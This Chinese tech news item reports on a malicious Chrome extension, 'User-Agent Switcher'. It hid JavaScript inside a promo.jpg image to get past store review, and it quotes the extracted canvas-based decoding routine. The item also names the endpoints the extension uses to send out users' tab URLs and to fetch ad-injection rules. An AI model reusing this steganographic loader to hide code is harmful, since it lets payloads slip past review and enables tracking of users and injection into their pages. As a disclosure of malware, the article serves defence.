近日,有开发者在 Google Chrome 商店中搜索 User-Agent Switcher(https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake) 这款扩展程序时,竟然发现排行第一(459604位用户)的“User-Agent Switcher”是一个恶意程序,它是由“useragentswitcher.org”提供,而并非“google.com”。
这款 User-Agent Switcher for Google Chrome 页面上的“Report Abuse”(举报滥用情况)其实是一个无用的链接,它表面上显示为良性的 .jpg 文件。事实上,为了绕过 Chrome 的审核策略,作者将恶意代码隐藏在了 promo.jpg 中,当加载到 canvas 元素并以某种方式解码时,就会产生 JS,这些 JS 会将所有用户的 请求发送到某个域,同时还会注入广告并重定向到其从属链接。
开发者@anoymoux 从这个图片里解密出恶意代码并执行:
t.prototype.Vh = function(t, e) {
if ("" === '../promo.jpg') return "";
void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {};
var n = this.ET,
i = e.mp || n.mp,
o = e.Tv || n.Tv,
h = e.At || n.At,
a = r.Yb(Math.pow(2, i)),
f = (e.WC || n.WC, e.TY || n.TY),
u = document.createElement("canvas"),
p = u.getContext("2d");
if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return "";
e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0);
var c = p.getImageData(0, 0, u.width, u.height),
d = c.data,
g = [];
if (c.data.every(function(t) {
return 0 === t
})) return "";
var m, s;
if (1 === o)
for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1));
var v = "",
w = 0,
y = 0,
l = Math.pow(2, h) - 1;
for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y);
return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v)
}
从而发现,运行完程序就会把用户打开的每个标签的 url 等信息加密发送到 https://uaswitcher.org/logic/page/data。
另外还会从 http://api.data-monitor.info/api/bhrule?sub=116 获取推广链接的规则,打开符合规则的网站时,会在页面插入广告甚至恶意代码。
对此,不少网友各执己见:
倘若安装了这款插件也就相当于一直处于黑客的监控之下,细思极恐。